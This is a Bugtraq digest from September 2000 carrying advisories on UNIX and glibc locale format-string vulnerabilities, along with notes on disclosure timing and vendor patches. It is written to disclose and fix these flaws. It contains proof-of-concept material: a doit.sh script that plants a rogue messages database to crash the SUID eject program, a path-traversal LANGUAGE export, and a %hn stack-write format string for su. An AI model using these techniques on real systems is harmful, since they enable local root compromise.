From owner-BUGTRAQ@LISTS.SECURITYFOCUS.COM Tue Sep 5 03:39:09 2000 Received: from lists.securityfocus.com (lists.securityfocus.com [207.126.127.68]) by ruby.ils.unc.edu (8.9.3/8.9.0) with ESMTP id DAA18921 for ; Tue, 5 Sep 2000 03:38:48 -0400 (EDT) Received: from lists.securityfocus.com (lists.securityfocus.com [207.126.127.68]) by lists.securityfocus.com (Postfix) with ESMTP id 6B13C1FCEF; Tue, 5 Sep 2000 00:00:35 -0700 (PDT) Date: Tue, 5 Sep 2000 00:00:30 -0700 Reply-To: Bugtraq List Sender: Bugtraq List From: Automatic digest processor Subject: BUGTRAQ Digest - 3 Sep 2000 to 4 Sep 2000 (#2000-197) To: Recipients of BUGTRAQ digests MIME-Version: 1.0 Content-Type: multipart/digest; boundary="bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH" Message-Id: <20000905070035.6B13C1FCEF@lists.securityfocus.com> Status: RO Content-Length: 178037 Lines: 4292 --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Tue, 5 Sep 2000 00:00:30 -0700 Reply-To: Bugtraq List Sender: Bugtraq List From: Automatic digest processor Subject: BUGTRAQ Digest - 3 Sep 2000 to 4 Sep 2000 (#2000-197) To: Recipients of BUGTRAQ digests There are 39 messages totalling 4244 lines in this issue. Topics of the day: 1. UNIX locale format string vulnerability (4) 2. Serious vulnerability in glibc (fwd) (2) 3. Serious vulnerability in glibc 4. glibc user-supplied format strings. (why u should upgrade) 5. FOLLOUP: UNIX locale vulnerability 6. Policy Addition to VulnHelp - Please read 7. screen 3.9.5 root vulnerability (3) 8. mea culpa (mea culprit?) 9. [SECURITY] glibc update for Debian GNU/Linux 2.1 10. (SRADV00001) Arbitrary file disclosure through PHP file upload (3) 11. Netsend.nts - buffer overflows over 6 bit clean channels? 12. Wireless Inc. WaveLink (Possibly Wavenet) 2458 family Command Module Vulnerability. 13. Sun StarOffice documents that "phone home" and other interesting problems 14. [PHP-DEV] RE: (SRADV00001) Arbitrary file disclosure through PHP file upload (2) 15. IE 5.5 Cross Frame security vulnerability - Web Browser Control's Navigate method 16. Other file formats that can "phone" home (2) 17. VIGILANTE-2000008: NTMail Configuration Service DoS 18. aix allows clearing the interface stats 19. FW: [PHP-DEV] FW: (SRADV00001) Arbitrary file disclosure throughPHP file upload 20. Remote DoS Attack in Eeye Iris 1.01 and SpyNet CaptureNet v3.12 Vulnerability 21. Neotrace v2.12a Buffer Overflow [?] 22. FORCED RELEASE NOTES - CORE-090400 - BID 1634 (4) 23. [PHP-DEV] RE: (SRADV00001) Arbitrary file disclosure throughPHP file upload 24. WFTPD/WFTPD Pro 2.41 RC12 vulnerabilities 25. New Tool: initd_.sh; 26. (SRADV00001) Arbitrary file disclosure through PHP file upload (fwd) --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 21:07:14 -0300 From: =?iso-8859-1?Q?Iv=E1n?= Arce Subject: UNIX locale format string vulnerability MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit CORE SDI http://www.core-sdi.com UNIX locale format string vulnerability Date Published: September 4th, 2000 (early release) Advisory ID: CORE-090400 Bugtraq ID: 1634 CVE CAN: None currently assigned. Title: UNIX locale format string vulnerability Class: Input Validation Error Remotely Exploitable: Yes (on some systems) Locally Exploitable: Yes Vulnerability Description: This report is being released earlier (it was originally scheduled for Sept 11th., 2000) due to the fact that information regarding the vulnerability has been made public by several vendors. Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information. In particular a database with messages used by almost all the operating system programs is keep for each supported language. The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions (Sun/Uniforum specifications) or catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4 specification). Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the search key and printing the results using the printf(3) family of functions. By building and installing a custom messages database an attacker can control the output of the message retrieval functions that get feed to the printf(3) functions. Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems. Alternatively, on some operating systems, the problem can be exploited remotely using the environment variable passing options in telnetd. However, a remote attacker must be able to place the suitable messages database on the target host (i.e. anonymous ftp, NFS, email, etc.) Vulnerable Packages/Systems: Sun Microsystems Inc. Solaris 2.x, Solaris 7, Solaris 8 (x86 and Sparc architectures) Silicon Graphics Inc. IRIX 6.2 to 6.5.8 Linux RedHat Linux Debian Linux Conectiva Linux 4.0 or higher All supported versions of Conectiva Linux use Glibc 2.1.1 which explicity checks and ignores the NLSPATH environment variable if the catopen() and catgets() functions are called from a SUID executable. Verified and reported by Andreas Hasenak Although the above text is the result of research and email communications that took place during the last 2 weeks, the release of security advisories from RedHat, Debian and Conectiva Linux acknowledging the existence of the problem seems to probe otherwise. Suspected vulnerable [not checked] AIX HP-UX Tru64 (Digital Unix) SCO OpenServer SCO Unixware Systems not vulnerable OpenBSD As reported by Theo deRaadt FreeBSD As reported by Kris Kennaway FreeBSD does not allow the use of the NLSPATH environment variable in privileged (SUID) applications. FreeBSD can not be exploited remotely either, since the /usr/bin/login program does not use the cat* functions and is SUID root. Solution/Vendor Information/Workaround: RedHat Linux Refer to the REdHAt Linux announce: http://www.securityfocus.com/archive/1/79944 Debian Linux Obtain patches from http//www.debian.org/security Refer to the Debian announce: http://www.securityfocus.com/archive/1/79943 Conectiva Linux Refer to the Conectiva Linux announce http://www.securityfocus.com/archive/1/79960 Other vendors Contact vendor for a fix Vendor notified on: All vendors were notified on August 22nd, 2000 Credits: This vulnerability was discovered by Ivan Arce of CORE SDI S.A., Buenos Aires, Argentina. This advisory was drafted with the help of the SecurityFocus.com Vulnerability Help Team. For more information or assistance drafting advisories please mail vulnhelp@securityfocus.com. Technical Description - Exploit/Concept Code: Passing unchecked user supplied data as a format string to the printf(3) functions can lead to unexpected changes of flow control and execution of arbitrary code in context of the vulnerable program. The following C program exemplifies the problem described: -----sample.c----- void main(int argc, char **argv) { /* This is proper use */ printf("%s\n",argv[1]); /* This is bad use */ printf(argv[1]); printf("\n"); } ------------------ In the above example if argv[1] is a string with characters interpreted by printf(3) as formatting characters, the behavior of the program can be altered to execute arbitrary code in a way _similar_ to the exploitation of buffer overflow vulnerabilities: $ cc -o sample sample.c $ ./sample hello hello hello $ ./sample %x%x%x%x%x%n%n%n%n%n%n%n%n%n %x%x%x%x%x%n%n%n%n%n%n%n%n%n Memory fault (core dumped) $ Recent posts to computer security lists and related publications provide good reference material to understand the problem and possible ways to exploit it. It has been found that most programs in many popular operating systems suffer from this problem derived from the way the messages database of the locale subsystem is used. In particular, privileged programs (programs with the SUID bit set) that execirse access to the database using the gettext(3) function in a vulnerable manner are directly exploitable and allow an attacker to obtain root privileges instantly. The following code exemplifies a common bad coding practice that makes the cited programs vulnerable: main(int argc, char **argv) { if(argc > 1) { printf(gettext("usage: %s filename\n"),argv[0]); exit(0); } printf("normal execution proceeds...\n"); } Here the output of the gettext(3) function is not validated and passed directly to printf(3). gettext(3) searches the messages database for a message that matches the key "usage: %s filename\n" in the current locale settings and returns it to the caller. A malicious, unprivileged, user can build and install a bogus messages database and instruct the vulnerable program to use it, thus controlling the output of gettext() and force-feeding formatting characters to printf(3). The problem above is NOT related to the user input to the program but instead to the data contained in the messages database. The following commands demonstrates the problem: $ uname -a SunOS maul 5.7 Generic_106541-02 sun4m Sparc SUNW,SPARCstation-5 $ ls -l $ ls -l /usr/bin/eject -r-sr-xr-x 1 root bin 14352 Oct 6 1998 /usr/bin/eject $ eject -x`perl -e 'print "ABCDEF". "A"x507` eject: illegal option -- x usage: eject [-fndq] [name | nickname] options: -f force eject -n show nicknames -d show default device -q query for media present -p do not call eject_popup $ cat >doit.sh #!/bin/ksh export NLSPATH=:`pwd` echo domain \"messages\" > messages.po echo msgid \""usage: %s [-fndq] [name | nickname]\\\n"\" >> messages.po echo msgstr \"`perl -e 'print "%x"x112 . "%n"'`\" >> messages.po msgfmt messages.po cp messages.mo SUNW_OST_OSCMD cp messages.mo SUNW_OST_OSLIB exec eject -x`perl -e 'print "ABCDEF" . "A"x507'` ^D $ ./doit.sh eject: illegal option -- x effffba47efefeff1ff00ef735a38effffba4000447ef7fca782effffac4129642326c00effffa60 115083effffac44effffad05effffb2c002effffac4effffad023000000000000000000000002eff ffba4effffbaa0effffdaeeffffdbfeffffdd5effffdf1effffdf8effffe10effffe2eeffffe9aef fffebeeffffed0effffedeeffffef2efffff0befffff20efffff33efffff42efffff5aefffff72ef ffff7defffff94efffff9defffffaf07d8efffffd67deefffffea3100344205591142c7ef7d00008 0610007d007d13ee7d217d317d9300656a656374002d78Segmentation Fault $ exit As shown, the SUID program 'eject' follows the user directives to use a custom (bogus) messages database. The specific way to do it vary in different operating systems but usually involves the usage of environment variables (NLSPATH, LC_MESSAGES, LANG, etc.) and/or locale library functions (textdomain(3), bindtextdomain(3), etc.) The problem however stems from bad coding practices in the operating system's programs: - A SUID program should not follow the users directives of what database it should use, locale databases should be taken from a secure trusted directory. - Output of gettext(3) should not be passed as a format string directly to printf(3) functions. References A good reference for localization and internationalization is the "Programming for internationalization FAQ": http://www.cs.ruu.nl/wais/html/na-dir/internationalization\ /programming-faq.html Sections 3 and 5 describe the locale subsystem and the X/Open and Sun/Uniforum set of functions for language independent messages. Format string bugs and exploitation are described in: http://julianor.tripod.com/usfs.html http://julianor.tripod.com/kalou-formats.txt Recent vulnerabilities involving format strings http://www.securityfocus.com/bid/1387 http://www.securityfocus.com/bid/1425 http://www.securityfocus.com/bid/1572 $Id: locale-advisory.txt,v 1.8 2000/09/04 17:14:51 iarce Exp $ -- "Understanding. A cerebral secretion that enables one having it to know a house from a horse by the roof on the house, It's nature and laws have been exhaustively expounded by Locke, who rode a house, and Kant, who lived in a horse." - Ambrose Bierce ==================[ CORE Seguridad de la Informacion S.A. ]========= Iván Arce Presidente PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836 B25D 207B E78E 2AD1 F65A email : iarce@core-sdi.com http://www.core-sdi.com Pte. Juan D. Peron 315 Piso 4 UF 17 1038 Capital Federal Buenos Aires, Argentina. Tel/Fax : +(54-11) 4331-5402 Casilla de Correos 877 (1000) Correo Central ===================================================================== --- For a personal reply use iarce@core-sdi.com --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Sat, 2 Sep 2000 22:44:00 +0400 From: Solar Designer Subject: Re: Serious vulnerability in glibc (fwd) MIME-Version: 1.0 Content-Type: text/plain; charset=KOI8-R Content-Transfer-Encoding: 8bit Hello, There're three known locale-related bugs which are (should be) fixed in the updated glibc packages. Some quotes from my report to the vendor-sec list, which was made before I became aware of this third locale-related bug (and fix): | glibc versions prior to 2000/08/21 contain two vulnerabilities in | their locale support code: [ And the third vulnerability, found and reported by Jouko Pynnönen, was fixed on 2000/08/27. ] | 1. A check in locale/findlocale.c intended to not allow the use of | user-supplied locales for SUID/SGID applications is both misplaced | and incorrect. It appears that this bug has been present since glibc | 2.1, with older versions being vulnerable in a different way (there | was no check at all). | | 2. A similar check was needed in catgets/catgets.c as well, but it | was missing. Both glibc 2.0 and 2.1 are affected. | | I would like to thank Ulrich Drepper for confirming my findings and | developing the fix within days. | | The bugs can be exploited via a number of SUID/SGID programs, such as | some of those found in the util-linux package. See my security-audit | post from July for a list of util-linux programs that don't clean the | relevant env vars, use locale with printf-style format strings, and | are installed SUID or SGID: | | http://marc.theaimsgroup.com/?l=linux-security-audit&m=96473323710822&w=2 | | Please note that this is by no means limited to programs found in the | util-linux package. | | It is very likely that a local root exploit is possible. | | Other, far less important fixes applied since 2.1.3, include: | | 1. The now well-known dl unsetenv bug. | | 2. MD5 alignment issues which may cause crypt(3) to crash with SIGBUS | or cause kernel emulation of unaligned accesses (slow and annoying) | with unusually long passwords (not necessarily valid), on platforms | with strict alignment requirements (which means most platforms, but | not x86). | | 3. The MD5-based crypt(3) used to leave sensitive data in the address | space, other than its output buffer (which the application can clear, | at least in theory). (I am listing this as a bug since there was an | attempt to ensure that sensitive data isn't left.) | | These are really of little importance, but may be worth including if | an updated package is prepared anyway. | | All of these fixes are available in the CVS, or you can get them here: ftp://ftp.openwall.com/pvt/glibc-cvs-20000827-security-patches.tar.gz [ I've updated this archive to include the 2000/08/27 fix as well. ] | The patches may be applied directly to glibc 2.1.3 like this (for an | RPM package): Patch22: glibc-cvs-20000827-locale.diff Patch23: glibc-cvs-20000824-unsetenv.diff Patch24: glibc-cvs-20000824-md5-align-clean.diff | %prep | [...] | %patch22 -p1 | %patch23 -p1 | cd md5-crypt | %patch24 -p2 Signed, Solar Designer --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Sat, 2 Sep 2000 20:24:11 +0300 From: =?latin1?Q?Jouko_Pynn=F6nen?= Subject: Serious vulnerability in glibc MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=latin1 Content-Transfer-Encoding: QUOTED-PRINTABLE PROBLEM DESCRIPTION A vulnerability exists in glibc versions up to version 2.1.3, ie. all relea= sed versions, allowing local users to get root access. Fix packages for most ma= jor Linux distributions have been released or will be released within a day or = two. There's also a quick workaround described below. Note that this is differen= t from the "unsetenv" bug discussed earlier on this list. The bug is exploitable if 1) there exists a suid/sgid installed program that uses the locale functions of glibc, and 2) the standard locale _directories_ exist in /usr/share/locale/. Unfortunately, all common Linux installations to my knowledge fulfill these two conditions by default. There are numerous programs that can be used for exploiting this bug. Anyth= ing that's setuid/setgid and calls gettext() is dangerous, however not necessar= ily exploitable. The function is also called in an exploitable way from some ot= her common libc functions such as getopts(). With an exploit script I've been a= ble to get root access using at least the following programs: at, chage, cronta= b, login, mount, rlogin, su, umount. The problem has been tested on RedHat 6.0 and 6.1, Debian, Slackware, and LinuxPPC-1999. However the list of exploita= ble programs varies between different distributions. BUG DETAILS Since all released glibc versions are vulnerable, it wouldn't probably serv= e the purpose to go in the goriest details now. That's why this description i= s a mere outlining of the problem, although more details will follow later. The effective part of the bug resides in locale file loading functions. Som= e careless code in there fails to detect if a user defineable locale file is inside the default locale directory hierarchy (/usr/share/locale/) or outsi= de it. The result is that a malicious user can feed his/her own locale files a= nd that way, translation strings to locale-aware programs. These strings are often used as format strings in setuid root programs which leads to problem= s as seen in recent exploits. WORKAROUND A quick workaround is to remove (or move elsewhere) the files under /usr/share/locale/ until the library itself has been fixed; or simply mv /usr/share/locale /usr/share/locale.old VENDOR PATCHES Linux distribution vendors have been informed and they will submit related advisories to this list. Some pointers: RedHat: RHSA-2000:057-02 http://www.redhat.com/support/errata/RHSA-2000-057-02.html Debian: packages will be listed soon on http://security.debian.org/ Conectiva: updated files on ftp://atualizacoes.conectiva.com.br, advisory soon at http://www.conectiva.com.br/atualizacoes CREDITS & ACKNOWLEDGEMENTS Vulnerability discovered by: Jouko Pynn=F6nen Thanks and greets to: Esa Etel=E4vuori, vendor-sec team, glibc-team cc-opers/IRCNet, Solar Designer -- Jouko Pynn=F6nen Online Solutions Ltd Secure your Linux - jouko@solutions.fi http://www.secmod.com --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 12:07:29 -0000 From: zenith parsec Subject: glibc user-supplied format strings. (why u should upgrade) *************************************************** * Extremely Serious Vulnerability in glibc * * allows root compromise on multiple * * distributions of Linux * *************************************************** * zen-parse * **************************************************************************** 1.1 official release 1.0 unintetional early release. http://www-gnats.gnu.org:8080/cgi-bin/wwwgnats.pl/full/1883 **************************************************************************** reply to that advisory... The problem you've reported has been fixed in the development versions (CVS) for glibc 2.1.x and glibc 2.2 just a few days ago: -- Andreas Jaeger SuSE Labs aj@suse.de **************************************************************************** so / ---------------------------- \/ -------- zen-parse ------- \/ ------------------------ \ /------- presents ----- \/ -------------------- \/ -------- a ------- \/ ---------------- \/ ---- huge ---- \/ ------------ [ Wrote 239 lines ] [root@continuity /root]# cat glibc-advisory.txt Subject: glibc user-supplied format strings. (why u should upgrade) *************************************************** * Extremely Serious Vulnerability in glibc * * allows root compromise on multiple * * distributions of Linux * *************************************************** * zen-parse * **************************************************************************** 1.1 official release 1.0 unintetional early release. http://www-gnats.gnu.org:8080/cgi-bin/wwwgnats.pl/full/1883 **************************************************************************** reply to that advisory... The problem you've reported has been fixed in the development versions (CVS) for glibc 2.1.x and glibc 2.2 just a few days ago: -- Andreas Jaeger SuSE Labs aj@suse.de **************************************************************************** so / ---------------------------- \/ -------- zen-parse ------- \/ ------------------------ \ /------- presents ----- \/ -------------------- \/ -------- a ------- \/ ---------------- \/ ---- huge ---- \/ ------------ \/ ---hole--- \/ -------- \/ ------ \/ ---- \/ - \/ ************************** ************************** Vulnerable setuid programs that come on a standard Redhat 6.1 install include, but are not limited to: /bin/su /bin/mount /bin/umount /usr/bin/at /usr/bin/lpq /usr/bin/passwd /usr/bin/suidperl /usr/sbin/usernetctl /usr/sbin/userhelper Scared yet? *************************** *************************** ************************ Description of problem ************************ Suid root programs and i18n code. Bad sanity checking. The environment variables involved in locale based function are not (adequately?) sanity checked. I have not looked at the sources, but it seems that although some programs (possibly the libc itself?) (seem to) check that the values do not start with ../ for .mo files, they do not (seem to) check the entire string, making it possible to step backwards through the directory tree, after first taking a step forward, and to anywhere you feel like. (e.g. /tmp/hack) This problem, combined with appropriately formed format strings allows arbitrary instructions to be executed by modifying the stack. Some fun not-so-arbitrary instructions could be something like: jump to this code setreuid(0,0);execl("/bin/sh","/bin/sh",0); ************************************ Proof of concept. ************************************ (user zen is an unprivileged user) bash# export LANGUAGE=en_US/../../../../tmp/hack bash# /usr/bin/strace -u zen su -c ... --lots of strace output cut-- ... open("/usr/share/locale/en_US/../../../../tmp/hack/LC_MESSAGES/sh-utils.mo", O_RDONLY) = -1 ENOENT (No such file or directory) ... --lots more strace output cut-- ... bash# it is possible to insert a string something like %1$141x%81$hn%1$370x%82$hn%1$256x%83$hn%1$192x%84$hn into a copy of sh-utils.mo and cause su to use it as the error message, instead of Mit `%s --help' bekommen Sie mehr Informationen. (The difference in length isn't important for this purpose. The rest of the file's strings aren't likely to be used.) By manipulating the contents of of the arguments to su, you can cause the program to execute arbitrary instructions. For example, calling su this way: execl("/bin/su",evil,"-c",0); (where evil contains a string that contains pointers for the format string to use to overwrite stack addresses, and shellcode to be executed) will execute the shellcode with root permissions. ***************************************************** remember: this is not a theoretical vulnerability ***************************************************** I don't have any reason to believe this type of exploit is "in the wild", but I have successfully used this method to gain root access to a 'wargame' running at roothat.labs.pulltheplug.com from an unprivileged account. (Actually, I don't know if all of the programs listed in the attention getting part are definately exploitable for root, but at least some of them are. I initially thought that pt_chown was vulnerable, but it does setuid(geteuid()) before showing the error message. And that list isn't complete either.) roothat is a Redhat 6.2 with version 2.2.16 kernel, and 2.1.3 glibc. I have also used it on my own machine. (Details above in the form thing from /usr/bin/glibcbug.) I have not found any mention of this bug on the web interfaced bug-tracking system linked from www.gnu.org, and so believe this to be a newly found bug. Although RH 6.1 doesn't come with any copies of sh-util.mo by default, it is quite easy to come by a copy to edit, due to the all pervasive nature of GNU software. (I found it on my windows partition :]) /mnt/C/cygnus/cygwin-b20/share/locale/de/LC_MESSAGES/sh-utils.mo libc.mo could have been used if sh-util.mo was not available, with slight modifications to the method used to exploit it. (libc.mo does exist in several languages in a default install.) This has also been checked on a Debian distribution, but only a simple verification that the path problem existed was done. The format string part is relatively easy to work out though. Another approach is to create your own .mo files from scratch. ********************************** The good news ********************************** It's only exploitable locally. I think. Unless in.telnetd can somehow accept locale environment variables. Maybe with ld.so bug as well? In which case, if someone is able to upload a poisoned .mo file, you are well and truly fucked. ********************************************************************* the better news ********************************************************************* >>>>>> Zen writes: > >>> Number: 1883 >>> Category: libc >>> Synopsis: sanity checking of locale paths/ .mo files - root > >The problem you've reported has been fixed in the development versions >(CVS) for glibc 2.1.x and glibc 2.2 just a few days ago: not a problem if u upgrade now, while stocks last ********************************************************************* the rest of the stuff - the fun bits? ********************************************************************* Trivia question :: imagine u have 2 ppl on one machine.... evil user benevolent/stupid root terminal 1 (uid 500) terminal 2 (uid 0) /tmp$ umask 220;touch /tmp/core ~# /some/prog that chdirs to /tmp .... and crashes, dropping core... /tmp$ ls -al /tmp/core The question is: who owns /tmp/core? +------------------------------------+ |..............zen-parse............ | +-------------+----------------------+ # # id -u 0 greets and stuff (coz thats what u do in advisories, isn't it?) greetz: lamagra, grue, laaz, dies, um... lets see... pfffff.... my minds gone blank. lets see... everyone who uses [x]chat... um. everyone in #roothat on irc.pulltheplug.com, most of the people in #wargames, my neice sarah, my nephew daniel, possem, jon, brooke, murray, my parents, my sisters, my brothers, all the people in COSC455 at cs.otago.ac.nz, um... everyone else who is doing Philosophy and/or Computer Science anywhere in the world, and anyone who wants to give me a job. (i can kind of code a little. amd prewf read stuff and do grammer the spall gudely.) evilz: script kiddiez. may j00r attempts end up decea5ed or f1eaf00d. (the format string given in the example writes the address 0xf1eaf00d to the stack at the address pointed to buy the list of pointers at offsets 81-84, done this way to bypass the problem of using a value that is too big for the format string for the %n thing. (I could've probably done it in 2 writes, instead of 4, but I had the code for 4 lying around from another exploit I wrote, and I am lazy.) '-- advanced format string hacking' - zen-parse, available when i get around to writing it) For a list of some other words you can make with just hex, visit: http://homepages.ihug.co.nz/~Sneuro/totaleleet.html cabba6e5 is a nice one ;] deadbeef still owns though. If you are a music producer, or know someone who is, or just want to get an idea of what i do when i'm not hacking, visit: http://homepages.ihug.co.nz/~Sneuro/dx4.html (or just /~Sneuro if u want to see some aging html/art/javascript) my apologies if this sends twice. Send someone a cool Dynamitemail flashcard greeting!! And get rewarded. GO AHEAD! http://cards.dynamitemail.com/index.php3?rid=fc-41 --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 23:54:49 -0300 From: =?iso-8859-1?Q?Iv=E1n?= Arce Subject: FOLLOUP: UNIX locale vulnerability MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit This email is an attempt to clarify the process followed by CORE to the release of the 'UNIX locale format string vulnerability' report published earlier today. Im addressing this because i feel necessary to explain why the report for a high risk multivendor problem was published when there are no known fixes for many of the operating systems involved. The problem was originally found on Solaris 2.7, we developed proof of concept code and included it on our report. We also noticed that this was very likely to be present on all UNIX operating systems and therefore planned on contacting all vendors and coordinating the release of information with them and a third party (Securityfocus vulnhelp team). This was also decided because we realized that providing a vendor fix to the problem was the only real solution. Its not evident to us a feasible workaround for it. On August 22nd, 2000 i sent a report (attached below) to all UNIX vendors believed vulnerable: Linux: RedHat, Debian, Conectiva, Mandrake, Inmunix Sun, SCO, Compaq, SGI, IBM, HP, NetBSD, FreeBSD and OpenBSD Previously, and in coordination with the Vulnerability Help Team at SecurityFocus.com i had collected email addresses and PGP keys for the security contacts at each vendor, this proved to be somewhat time consuming but eventually i managed to get proper information for all of the above. The report was answered almost immediately by FreeBSD (08/22), OpenBSD (08/22) and Conectiva Linux (08/23).FreeBSD and OpenBSD reported that they were not vulnerable. Conectiva Linux took the time to research the issue and reply stating that although. bad coding practices in several SUID programs made them vulnerable, checks in GLIBC prevented exploitation of the problem. Furthermore, we discussed the possibilities of exploiting the problem remotely through telnet environment passing options. It was determined that it was no possible to do so. Our advisory reflects this discussion. Auto replies were received from SGI and HP (08/22) Personal replies acknowledging receipt of the report were received from Compaq (08/22) and later SGI (08/23). On August 28th, i sent an email to Sun, SCO and IBM (from which i i had not received replies at that moment) asking if they received the report and what was the status. Personal replies (not automated) were received from the three vendors: IBM (08/28), SCO (08/28) and Sun (08/29). I have not received any communication from HP or any Linux vendor (except Conectiva Linux) since Aug. 22nd. I intended to go through the same process today, mailing all vendors and asking for a bit of detail on OS versions vulnerable and estimated date for fix releases, this seemed the right thing to do considering that the original schedule for our advisory was Sept 11th (next monday). But before i did that i directed my attention to the bugtraq mailing list and found out security advisories and updates from RedHat, Debian and Conectiva Linux. In them, one of the reported problems is effectively the same we report in our advisory. They are, however, GLIBC specific, and fail to note that the same problem might be (and in fact is) present in other UNIX operating systems. I realized that the whole coordinated release of information with the vendors had been blown to pieces. Given that its a matter of minutes to realize that the problem is present in other UNIX OSes, that the format string bugs are the new trend and that writing an exploit is really not very hard, i decided that it was best to just publish our advisory and warn ALL unix users that they might be (and some ARE) vulnerable. I notified the pending vendors (SGI, SCO, Sun, IBM and Compaq) and sent the advisory out to bugtraq. -ivan PS: Below is the original problem report sent on Aug. 22nd --- Vendor, The following mailing mail is a pre-release vendor notification of a security vulnerability we believe may be present in your software. This pre-release is being coordinated by the Vulnerability Help Team at SecurityFocus.com. This team works in conjunction with Bugtraq posters to attempt to notify vendors and work towards solutions before posting advisories. For more information on policy specifics for the Vulnerability Help Team please mail vulnhelp@securityfocus.com our PGP Key should be included in this message. Also, please note all responses to the discoverer of this problem should also be CC'd to vulnhelp@securityfocus.com. Overview and Timeline ~~~~~~~~~~~~~~~~~~~~~ The following problem is a format string vulnerability which is believed to be present in any UNIX or UNIX like system which use the locale subsystem and allow users to specify a custom locale database. We are certain at this stage that Solaris 2.x, 7 & 8 are vulnerable to this problem and have working code to prove this point. We suspect that most commercial UNIXes suffer from this problem as well. Linux distributions using recent versions of glibc appear to be not vulnerable to the problem, we are nonetheless notifying the Linux vendors to confirm this information. Given that this is derived of a very popular problem at the moment (format string vulnerabilities) we suspect that this vulnerability will be discovered in the wild in the near future. Given this the case we have set a release date for an advisory on this topic on September 11th, 2000. We would like to work with you in that time period in order to represent your OS properly in our advisory. We look forward to hearing from you as soon as possible. Vulnerability Description ~~~~~~~~~~~~~~~~~~~~~~~~~ Many UNIX operating systems provide multilingual support in the fashion of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrive and generally manage that information. In particular a database with messages used by almost all the operating system programs is keep for each supported language. The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions. Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the serach key and printing the results using the printf(3) family of functions. By building and installing a custom messages database an attacker can control the output of the gettext() functions that gets feed to the printf(3) functions. Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems. Impact ~~~~~~ Local execution of arbitrary code as a privileged user (root) Technical details ~~~~~~~~~~~~~~~~~ Passing unchecked user supplied data as a format string to the printf(3) functions can lead to unexpected changes of flow control and execution of arbitrary code in context of the vulnerable program. The following C program exemplifies the problem described: -----sample.c----- void main(int argc, char **argv) { /* This is proper use */ printf("%s\n",argv[1]); /* This is bad use */ printf(argv[1]); printf("\n"); } ------------------ In the above example if argv[1] is a string with characters intepreted by printf(3) as formating characters, the behavior of the program can be altered to execute arbitrary code in a way _similar_ to the explotation of buffer overflow vulnerabilities: $ cc -o sample sample.c $ ./sample hello hello hello $ ./sample %x%x%x%x%x%n%n%n%n%n%n%n%n%n %x%x%x%x%x%n%n%n%n%n%n%n%n%n Memory fault (core dumped) $ Recent posts to computer security lists and related publications provide good reference material to understand the problem and possible ways to exploit it. It has been found that most programs in many popular operating systems suffer from this problem derived from the way the messages database of the locale subsystem is used. In particular, privileged programs (programs with the SUID bit set) that execirse access to the database using the gettext(3) function in a vulnerable manner are directly exploitable and allow an attacker to obtain root privileges instantly. The following code exemplifies a common bad coding practice that makes the cited programs vulnerable: main(int argc, char **argv) { if(argc > 1) { printf(gettext("usage: %s filename\n"),argv[0]); exit(0); } printf("normal execution proceeds...\n"); } Here the output of the gettext(3) function is not validated and passed directly to printf(3). gettext(3) searches the messages database for a message that matches the key "usage: %s filename\n" in the current locale settings and returns it to the caller. A malicious, unpriviledged, user can build and install a bogus messages database and instruct the vulnerable program to use it, thus controlling the output of gettext() and force-feeding fomatting characters to printf(3). The problem above is NOT related to the user input to the program but instead to the data contained in the messages database. The following commands demostrates the problem: $ uname -a SunOS maula 5.7 Generic_106541-02 sun4m sparc SUNW,SPARCstation-5 $ ls -l $ ls -l /usr/bin/eject -r-sr-xr-x 1 root bin 14352 Oct 6 1998 /usr/bin/eject $ eject -x`perl -e 'print "ABCDEF". "A"x507` eject: illegal option -- x usage: eject [-fndq] [name | nickname] options: -f force eject -n show nicknames -d show default device -q query for media present -p do not call eject_popup $ cat >doit.sh #!/bin/ksh export NLSPATH=:`pwd` echo domain \"messages\" > messages.po echo msgid \""usage: %s [-fndq] [name | nickname]\\\n"\" >>messages.po echo msgstr \"`perl -e 'print "%x"x112 . "%n"'`\" >> messages.po msgfmt messages.po cp messages.mo SUNW_OST_OSCMD cp messages.mo SUNW_OST_OSLIB exec eject -x`perl -e 'print "ABCDEF" . "A"x507'` ^D $ ./doit.sh eject: illegal option -- x effffba47efefeff1ff00ef735a38effffba4000447ef7fca782effffac4129642326c 00effffa60115083effffac44effffad05effffb2c002effffac4effffad02300000000000000000 0000002effffba4effffbaa0effffdaeeffffdbfeffffdd5effffdf1effffdf8effffe10effffe2e effffe9aeffffebeeffffed0effffedeeffffef2efffff0befffff20efffff33efffff42efffff5a efffff72efffff7defffff94efffff9defffffaf07d8efffffd67deefffffea3100344205591142c 7ef7d000080610007d007d13ee7d217d317d9300656a656374002d78Segmentation Fault $ exit As shown, the SUID program 'eject' follows the user directives to use a custom (bogus) messages database. The specific ways to do it vary in different operating systems but usually involves the usage of environment variables (NLSPATH,LC_MESSAGES,LANG,etc.) and/or locale library functions (textdomain(3), bindtextdomain(3),etc.) The problem however steems from bad coding practices in the operating system's programs: - A SUID program should not follow the users directives of what database it should use, locale databases should be taken from a secure trusted directory. (This seems to be the approach in Linux distributions with recent versions of glibc) - Output of gettext(3) should not be passed as a format string directly to printf(3) 